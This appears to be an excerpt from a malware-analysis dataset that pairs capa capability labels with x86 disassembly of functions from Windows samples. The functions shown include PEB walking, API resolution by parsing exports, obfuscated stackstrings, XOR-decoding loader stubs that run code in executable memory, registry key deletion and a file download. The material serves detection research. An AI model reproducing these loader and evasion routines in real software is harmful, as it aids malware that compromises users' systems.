joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100012cc
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edi, dword [eax + 0x10]
mov esi, dword [eax + 0xc]
cmp esi, edi
je 0x1000130a
push dword [ebp + 0xc]
push dword [esi + 0x30]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__wcsnicmp]
add esp, 0xc
test eax, eax
je 0x10001305
mov esi, dword [esi]
jmp 0x100012e7
mov eax, dword [esi + 0x18]
jmp 0x1000130c
xor eax, eax
pop edi
pop esi
leave
ret

Function at 0x10001310
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
mov ebx, dword [ebp + 8]
and dword [ebp - 8], 0
push esi
mov eax, dword [ebx + 0x3c]
push edi
mov eax, dword [eax + ebx + 0x78]
add eax, ebx
mov ecx, dword [eax + 0x24]
mov edx, dword [eax + 0x20]
mov esi, dword [eax + 0x1c]
mov eax, dword [eax + 0x18]
add ecx, ebx
add edx, ebx
add esi, ebx
mov dword [ebp - 0x10], eax
test eax, eax
mov dword [ebp - 0xc], esi
jbe 0x10001442
mov dword [ebp - 4], ecx
mov dword [ebp + 8], edx
jmp 0x10001357
mov esi, dword [ebp - 0xc]
mov ecx, 0x80
xor eax, eax
lea edi, [ebp - 0x210]
cmp dword [ebp + 0x10], 0
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
mov eax, dword [eax]
lea edi, [ebx + eax]
je 0x100013c6
mov al, byte [edi]
test al, al
je 0x100013ec
lea ecx, [ebp - 0x210]
sub ecx, edi
cmp al, 0x30
jl 0x10001395
cmp al, 0x39
jg 0x10001395
movsx eax, al
mov al, byte [eax + 0x10002ff0]
jmp 0x100013b9
cmp al, 0x41
jl 0x100013a8
cmp al, 0x5a
jg 0x100013a8
movsx eax, al
mov al, byte [eax + 0x10002fe9]
jmp 0x100013b9
cmp al, 0x61
jl 0x100013ec
cmp al, 0x7a
jg 0x100013ec
movsx eax, al
mov al, byte [eax + 0x10002fe3]
mov byte [ecx + edi], al
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10001382
jmp 0x100013ec
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x210]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
mov edi, dword [ebp + 0xc]
movzx eax, word [eax]
mov eax, dword [esi + eax*4]
lea esi, [ebp - 0x210]
add eax, ebx
mov dl, byte [esi]
mov cl, dl
cmp dl, byte [edi]
jne 0x10001422
test cl, cl
je 0x1000141e
mov dl, byte [esi + 1]
mov cl, dl
cmp dl, byte [edi + 1]
jne 0x10001422
inc esi
inc esi
inc edi
inc edi
test cl, cl
jne 0x10001400
xor ecx, ecx
jmp 0x10001427
sbb ecx, ecx
sbb ecx, 0xffffffff
test ecx, ecx
je 0x10001449
inc dword [ebp - 8]
add dword [ebp + 8], 4
mov eax, dword [ebp - 8]
add dword [ebp - 4], 2
cmp eax, dword [ebp - 0x10]
jb 0x10001354
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
cmp word [eax], 0xff8b
jne 0x10001444
inc eax
inc eax
jmp 0x10001444
Function at 0x10001723
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
mov eax, 0x10001d00
call fcn.10001990
sub esp, 0x238
push ebx
push esi
push edi
mov dword [ebp - 0x44], 0x6e75725c
mov dword [ebp - 0x10], esp
push 0x5c
pop eax
mov dword [ebp - 0x40], 0x336c6c64
push eax
mov dword [ebp - 0x3c], 0x78652e32
push dword [ebp + 0xc]
mov dword [ebp - 0x38], 0x65
mov dword [ebp - 0x34], 0x73745c5c
mov dword [ebp - 0x30], 0x65696c63
mov dword [ebp - 0x2c], 0x615c746e
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], 0x706f7244
mov dword [ebp - 0x20], 0x575c4d00
call dword [sym.imp.MSVCRT.dll_strrchr]
xor ebx, ebx
pop ecx
cmp eax, ebx
pop ecx
je 0x100018cf
lea ecx, [ebp - 0x44]
push ecx
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x100018cf
push 1
push 0x10003198
push dword [0x100031c0]
call fcn.10001310
push 1
push 0x10003190
push dword [0x100031c0]
call fcn.10001310
add esp, 0x18
mov dword [ebp - 0x14], eax
push str.user32
call dword [0x100031c4]
push 1
push 0x10003178
push eax
call fcn.10001310
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x244]
push str._smoto
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x18
lea eax, [ebp - 0x244]
push ebx
push ebx
push 3
push ebx
push ebx
push 0x80000000
push eax
call dword [0x100031e4]
mov edi, eax
cmp edi, 0xffffffff
je 0x100018b5
push ebx
push edi
call dword [0x100031d8]
mov esi, eax
lea eax, [ebp - 0x18]
push ebx
push eax
push esi
mov dword [ebp + 0xc], esi
push dword [ebp + 8]
push edi
call dword [0x100031e0]
push edi
call dword [0x100031dc]
cmp dword [ebp - 0x18], esi
jne 0x100018b5
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
cmp eax, ebx
pop ecx
je 0x100018b5
mov ecx, esi
mov esi, dword [ebp + 8]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 1
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
mov esi, 0x100031f8
push eax
mov ecx, esi
call fcn.100010ee
cmp eax, ebx
jne 0x100018b5
lea eax, [ebp - 0x24]
mov ecx, esi
push eax
call fcn.1000107f
cmp eax, ebx
je 0x100018b5
push ebx
push 0x100031d4
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
add esp, 0x10
jmp 0x100018b5
or dword [ebp - 4], 0xffffffff
push 0x2bf20
call dword [ebp - 0x14]
push ebx
push 4
call dword [ebp - 0x1c]
push 1
call dword [sym.imp.MSVCRT.dll_exit]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x401434
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x401443
pop dword [ebp - 0x50]
mov eax, 0xe6a6961a
add eax, 0x19997e29
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x5dd9318
sub dword [ebp - 0x60], 0xb78b4dcd
mov dword [ebp - 0x5c], 0x48d16582
add dword [ebp - 0x5c], 0xe961e6c3
mov dword [ebp - 0x58], 0x67434c24
add dword [ebp - 0x58], 0xe508f80a
mov dword [ebp - 0x54], 0x4ced3c4
sub dword [ebp - 0x54], 0x4ced3c4
lea eax, [ebp - 0x60]
push eax
mov eax, 0x46dcf2b0
add eax, 0xb9638e54
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x4873d554
sub dword [ebp - 0x60], 0xd4016bfe
mov dword [ebp - 0x5c], 0x26cee8b2
sub dword [ebp - 0x5c], 0xe562873d
mov dword [ebp - 0x58], 0x91ba0b72
sub dword [ebp - 0x58], 0x2e4a9f06
mov dword [ebp - 0x54], 0x53ec0839
sub dword [ebp - 0x54], 0x53ec0839
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3ab4a
push 0
call eax
mov ecx, 0x2086a7dd
sub ecx, 0x20865634
xor edx, edx
add edx, eax
mov ebx, 0x37651607
sub ebx, 0x371e3207
add ebx, dword [ebp - 0x50]
mov edi, 0x487462b1
add edi, 0x142828ed
mov esi, dword [ebx]
mov dword [ebp - 0x40], 0xf9119a37
xor esi, edi
mov dword [ebp - 0x14], 0x4c09b5e6
mov dword [edx], esi
add edx, 0xa5cba598
sub edx, 0xa5cba594
add ebx, 0x2fa45df9
sub ebx, 0x2fa45df5
loop 0x401562
add eax, 0x12d728d3
add eax, 0xed2a10a4
xor ebx, ebx
add ebx, eax
add eax, 0x6dac267
add eax, 0xf9253d9e
mov ecx, 0x64363346
add ecx, 0x9c09ccba
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x402c93
Capabilities:
Delete registry key
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
lea eax, [ebp - 4]
push edi
push eax
mov eax, dword [0x42a2f0]
or al, 8
xor ebx, ebx
push eax
push ebx
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x402d27
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
mov edi, 0x105
jmp 0x402ce4
cmp dword [ebp + 0x10], ebx
jne 0x402d1b
lea eax, [ebp - 0x210]
push ebx
push eax
push dword [ebp - 4]
call fcn.00401434
test eax, eax
jne 0x402cf6
lea eax, [ebp - 0x210]
push edi
push eax
push ebx
push dword [ebp - 4]
call esi
test eax, eax
je 0x402ccb
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.004065ec
cmp eax, ebx
je 0x402d2e
push ebx
push dword [0x42a2f0]
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
jmp 0x402d27
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret 0xc
cmp dword [0x42a2f0], ebx
jne 0x402d24
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
test eax, eax
jne 0x402d24
jmp 0x402d27
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x420004]
jne 0x40100a
repz ret
jmp fcn.004015b9

Function at 0x4053eb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403eca
and dword [ebp - 0x14], 0
cmp dword [0x422d68], 0
mov dword [ebp - 0x18], eax
jne 0x40549e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405546
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405546
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x422d68], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x422d6c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x422d70], eax
call edi
push eax
call esi
mov dword [0x422d78], eax
test eax, eax
je 0x40549e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x422d74], eax
mov eax, dword [0x422d74]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4054f7
cmp dword [0x422d78], ecx
je 0x4054f7
push eax
call esi
push dword [0x422d78]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4054f7
test ebx, ebx
je 0x4054f7
call edi
test eax, eax
je 0x4054ee
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4054ee
test byte [ebp - 8], 1
jne 0x4054f7
or dword [ebp + 0x10], 0x200000
jmp 0x40552a
mov eax, dword [0x422d6c]
cmp eax, dword [ebp - 0x18]
je 0x40552a
push eax
call esi
test eax, eax
je 0x40552a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40552a
mov eax, dword [0x422d70]
cmp eax, dword [ebp - 0x18]
je 0x40552a
push eax
call esi
test eax, eax
je 0x40552a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x422d68]
call esi
test eax, eax
je 0x405546
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405548
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
leave
ret
Function at 0x41bc50
Capabilities:
Get geographical location

Disassembly:
sub esp, 0x804
mov eax, dword [0x420004]
xor eax, esp
mov dword [esp + 0x800], eax
mov eax, dword [0x811930]
imul eax, eax, 0x343fd
cmp dword [0x813da4], 0x139e
mov dword [0x811930], eax
jne 0x41bc91
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PrepareTape]
mov eax, dword [0x811930]
add eax, 0x269ec3
push esi
mov dword [0x811930], eax
movzx esi, word [0x811932]
and esi, 0x7fff
cmp dword [0x813da4], 0x8e7
jne 0x41bcc6
push 0
lea eax, [esp + 8]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ecx, dword [esp + 0x804]
mov eax, esi
pop esi
xor ecx, esp
call fcn.00401000
add esp, 0x804
ret

Function at 0x41bd10
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
test ebx, ebx
jle 0x41bd24
call fcn.0041bc50
xor byte [esi + edi], al
inc esi
cmp esi, ebx
jl 0x41bd17
pop esi
cmp ebx, 0x2d
jne 0x41bd3e
mov dword [0x813db0], 0xa62e7790
mov dword [0x813db4], 0xffffffff
ret

Function at 0x41bd40
Capabilities:
Create pipe

Disassembly:
mov eax, dword [0x4211e8]
sub esp, 0x14
push ebx
mov ebx, dword [0x813da4]
push edi
mov edi, dword [0x811934]
call fcn.0041bce0
cmp dword [0x813da4], 0x2f
jne 0x41bd9a
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [esp + 8]
push eax
lea ecx, [esp + 0x14]
push ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
call fcn.0041bd10
pop edi
pop ebx
add esp, 0x14
ret
Function at 0x41c0a0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1818
call fcn.00409f80
mov eax, dword [0x420004]
xor eax, ebp
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
jmp 0x41c0c9
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xbbe0f4a
jge 0x41c171
cmp dword [0x813da4], 0xa5f
jne 0x41c115
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
push 0
lea ecx, [ebp - 0x818]
push ecx
lea edx, [ebp - 0xc]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
push 0
lea edx, [ebp - 0x1018]
push edx
push str.zayekezipusunagozisanuhima
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
cmp dword [ebp - 4], 0x84620b
jne 0x41c13a
mov eax, dword [0x422008]
mov dword [0x813da4], eax
mov ecx, dword [0x813da4]
add ecx, 0xa231
mov dword [0x813da4], ecx
cmp dword [0x813da4], 0x141
jne 0x41c16c
push str.wucusipeyekexe_zelisapecuyozabozecaxufer_miweyumeriwosizupuyubahu_regorekuzet_begazixezibunodumekacefasuhato
lea edx, [ebp - 0x1818]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov dword [0x4232a8], 0xec58acac
mov dword [0x4232ac], 0xffffffff
jmp 0x41c0c0
call fcn.0041bdb0
jmp dword [0x811934]
Function at 0x29a0798c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x29a0799b
pop dword [ebp - 0x14]
mov eax, 0x5bddd48e
sub eax, 0x323d5af3
sub dword [ebp - 0x14], eax
mov dword [ebp - 0x24], 0x9b2e0ab9
add dword [ebp - 0x24], 0xb3243a92
mov dword [ebp - 0x20], 0xfb0a24ab
add dword [ebp - 0x20], 0x3729279a
mov dword [ebp - 0x1c], 0x5110ea0f
add dword [ebp - 0x1c], 0xfb3b5a1f
mov dword [ebp - 0x18], 0x8d08b322
add dword [ebp - 0x18], 0x72f74cde
lea eax, [ebp - 0x24]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x14]
call dword [eax]
mov dword [ebp - 0x24], 0xf8582d21
add dword [ebp - 0x24], 0x7c1a3c35
mov dword [ebp - 0x20], 0xde677a50
add dword [ebp - 0x20], 0x6304e725
mov dword [ebp - 0x1c], 0x223f5ad2
sub dword [ebp - 0x1c], 0xbecfee66
mov dword [ebp - 0x18], 0x48b1f19e
sub dword [ebp - 0x18], 0x48b1f19e
lea ebx, [ebp - 0x24]
push ebx
push eax
mov eax, 0x1da0dcd3
sub eax, 0xf3ff9c8f
add eax, dword [ebp - 0x14]
call dword [eax]
push 0x40
push 0x1000
push 0x38cf3
push 0
call eax
mov ecx, 0x41e7
mov edi, eax
mov edx, 0x52748d73
add edx, 0xd72d928d
add edx, dword [ebp - 0x14]
mov esi, 0xefe42baa
add esi, 0x96736088
xor dword [ebp - 4], 0x16c0cc50
mov ebx, dword [edx]
sub dword [ebp - 0xc], esi
xor ebx, esi
sub dword [ebp - 4], 0x9a0ca4ba
mov dword [edi], ebx
xor dword [ebp - 8], edi
add edi, 0x338db474
sub edi, 0x338db470
add edx, 0x78bc766a
sub edx, 0x78bc7666
loop 0x29a07ab2
add eax, 0x2102d0d7
add eax, 0xdefe2998
mov ebx, eax
add eax, 0xa1e42cd
add eax, 0xf5e1bd38
mov ecx, 0xeec29dda
add ecx, 0x3add6226
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x42fb71
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x43757a
call fcn.004339e0
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x10], esi
mov dword [esi], 0x43c770
mov dword [esi + 4], 0x43c758
mov dword [esi + 8], ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0xc], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
lea ecx, [esi + 0x18]
mov byte [ebp - 4], 1
call fcn.004028e9
mov ecx, dword [ebp - 0xc]
mov byte [esi + 0x24], 1
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov byte [esi + 0x4c], bl
mov byte [esi + 0x4d], bl
mov dword [esi], 0x43c73c
mov dword [esi + 4], 0x43c724
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x430a10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x430a1f
pop dword [ebp - 0x2c]
mov eax, 0x430a1f
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x3700b
push 0
mov eax, 0xd3712af7
add eax, 0x2cd25539
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0x77f77371
add ecx, 0x8808c5c8
mov ebx, eax
mov esi, 0x1ec0cf8f
add esi, 0xe183f671
add esi, dword [ebp - 0x2c]
mov edi, 0xe86a0ce
sub edi, 0x6f4bad9f
add dword [ebp - 0x28], ebx
mov edx, dword [esi]
xor dword [ebp - 0x18], eax
add edx, edi
sub dword [ebp - 0x10], ebx
mov dword [ebx], edx
sub dword [ebp - 4], eax
add ebx, 4
add esi, 0x311bca59
sub esi, 0x311bca55
loop 0x430a79
add eax, 0xc84112bc
add eax, 0x37bfc4fb
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x4a2e6562
add ecx, 0xb6119a9e
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret

Function at 0x433770
Capabilities:
Create thread

Disassembly:
push esi
lea eax, [esp + 8]
push eax
push 0
mov esi, ecx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push 0
push 0
call dword [sym.imp.msvcrt.dll__beginthreadex]
add esp, 0x18
mov dword [esi], eax
pop esi
test eax, eax
je 0x433799
xor eax, eax
ret 4
call dword [sym.imp.kernel32.dll_GetLastError]
test eax, eax
jne 0x4337a8
mov eax, 1
ret 4
Function at 0x40110b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
mov eax, dword [0x410284]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
jne 0x401158
lea eax, [ebp + 0x10]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0x404]
push 0x3ff
push 0x400
push eax
call fcn.004011a6
lea eax, [ebp - 0x404]
push eax
call fcn.004011a6
add esp, 0x18
push 1
call dword [sym.imp.kernel32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401ea2
leave
ret

Function at 0x4011a6
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x4011b5
pop dword [ebp - 0x48]
mov eax, 0xe5a6bd8
sub eax, 0xe1a5a23
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xe6a17508
add dword [ebp - 0x58], 0x67b0d043
mov dword [ebp - 0x54], 0xa6cf5181
add dword [ebp - 0x54], 0x8b63fac4
mov dword [ebp - 0x50], 0xb029bec4
add dword [ebp - 0x50], 0x9c22856a
mov dword [ebp - 0x4c], 0xff2feffa
add dword [ebp - 0x4c], 0xd01006
lea eax, [ebp - 0x58]
push eax
mov eax, 0xf7fd36c
sub eax, 0xf3f0318
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x87d5877a
add dword [ebp - 0x58], 0xec9ce1dc
mov dword [ebp - 0x54], 0x34d3860c
sub dword [ebp - 0x54], 0xf3672497
mov dword [ebp - 0x50], 0xcd59e9dd
sub dword [ebp - 0x50], 0x69ea7d71
mov dword [ebp - 0x4c], 0xcb0f8100
sub dword [ebp - 0x4c], 0xcb0f8100
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x37d2b
push 0
call eax
mov ecx, 0x3a205801
add ecx, 0xc5dfe91f
xor edi, edi
add edi, eax
mov edx, 0x41b000
add edx, dword [ebp - 0x48]
mov esi, 0x40196d73
sub esi, 0xd8ed078f
add dword [ebp - 0x20], 0x3eea2f30
mov ebx, dword [edx]
sub dword [ebp - 0x14], edi
xor ebx, esi
xor dword [ebp - 0xc], edi
mov dword [edi], ebx
sub dword [ebp - 0x44], 0xca806375
add edi, 0x3c2a7611
sub edi, 0x3c2a760d
add edx, 0x642408ef
add edx, 0x9bdbf715
loop 0x4012ce
add eax, 0x5e508752
sub eax, 0x5e4f8fff
xor ebx, ebx
add ebx, eax
add eax, 0x43f621e6
add eax, 0xbc09de1f
mov ecx, 0x8dc7f5a6
add ecx, 0x72780a5a
add ecx, dword [ebp - 0x48]
call ebx
leave
ret

Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53
Function at 0x401e9f
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x4012d4
xor ebx, ebx
push 1
push ebx
call esi
push 0x40116c
push ebx
push ebx
mov dword [ebp - 4], eax
call esi
cmp dword [ebp + 0x14], ebx
mov dword [ebp - 8], eax
je 0x401ef7
push dword [ebp + 0x14]
push ebx
push 0x100400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x401ef7
push 0x1388
push esi
call fcn.00403d19
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 0x18]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x10c]
push eax
call fcn.00403560
lea eax, [ebp - 0x10c]
push eax
call fcn.00403560
lea eax, [ebp - 0x10c]
push eax
call fcn.00402440
push dword [ebp + 0x1c]
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 0x18]
push dword [ebp + 0xc]
call fcn.00402608
cmp eax, ebx
mov dword [ebp + 0x14], eax
jl 0x401f5d
call fcn.00402ccb
lea eax, [ebp - 0x10c]
push eax
jmp section..htext
push edi
mov edi, dword [ebp + 8]
cmp edi, ebx
jne 0x401f6f
push dword [ebp + 0xc]
call fcn.00402f8a
mov edi, eax
cmp dword [ebp + 0x14], ebx
jl 0x401fcc
push 6
lea eax, [ebp - 0x210]
pop esi
push eax
call fcn.00403f65
cmp byte [ebp - 0x210], bl
je 0x401fb1
lea eax, [ebp - 0x210]
push 0x4013f8
push eax
call fcn.00403529
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x401fb1
push 0xa
pop esi
test byte [0x405114], 1
jne 0x401fcc
push 0x10040
push dword [ebp + 0xc]
push esi
push dword [ebp + 0x10]
push edi
call fcn.004038cc
mov esi, dword [ebp + 0x1c]
cmp dword [esi], 1
jne 0x401ff7
test byte [0x405114], 1
jne 0x401ff7
push 0x10044
push dword [ebp + 0xc]
push 7
push dword [ebp + 0x10]
push edi
call fcn.004038cc
cmp eax, 7
jne 0x401ff7
mov dword [esi], ebx
cmp edi, ebx
je 0x402013
push ebx
push ebx
call fcn.0040396e
test eax, eax
jne 0x402013
push ebx
push 0x40307a
push edi
call dword [sym.imp.USER32.dll_EnumChildWindows]
cmp dword [ebp - 8], ebx
pop edi
je 0x402022
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 4], ebx
pop esi
pop ebx
je 0x402032
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 0x14]
leave
ret 0x18
Function at 0x401aa0
Capabilities:
Query environment variable

Disassembly:
push 0xffffffffffffffff
push 0x4270f5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10c
push esi
push 0x439958
lea ecx, [esp + 8]
mov dword [esp + 0xc], 0
call fcn.00421a83
lea eax, [esp + 0xc]
push 0xff
push eax
push str.ProgramFiles
mov dword [esp + 0x124], 1
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableA]
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 8]
call fcn.00421b52
mov esi, dword [esp + 0x120]
lea edx, [esp + 4]
push edx
mov ecx, esi
call fcn.004217a8
mov dword [esp + 8], 1
lea ecx, [esp + 4]
mov byte [esp + 0x118], 0
call fcn.00421a15
mov ecx, dword [esp + 0x110]
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x118
ret

Function at 0x401da0
Capabilities:
Download url
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x4271c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
lea eax, [esp + 0x10]
push esi
push eax
xor ebx, ebx
call fcn.00401c00
add esp, 4
push 0x4352d8
lea ecx, [esp + 0x14]
push eax
push ecx
mov dword [esp + 0x2c], ebx
call fcn.00421c5e
push 0x439918
lea edx, [esp + 0x10]
push eax
push edx
mov byte [esp + 0x2c], 1
call fcn.00421bf8
push str..exe
push eax
lea eax, [esp + 0x10]
mov byte [esp + 0x28], 2
push eax
call fcn.00421c5e
mov eax, dword [eax]
mov ecx, dword [0x439954]
push ebx
push ebx
push eax
push ecx
push ebx
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 8]
mov esi, eax
call fcn.00421a15
lea ecx, [esp + 0xc]
mov byte [esp + 0x20], 1
call fcn.00421a15
lea ecx, [esp + 0x10]
mov byte [esp + 0x20], bl
call fcn.00421a15
lea ecx, [esp + 0x14]
mov dword [esp + 0x20], 0xffffffff
call fcn.00421a15
cmp esi, ebx
mov al, 1
je 0x401e58
mov al, bl
mov ecx, dword [esp + 0x18]
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret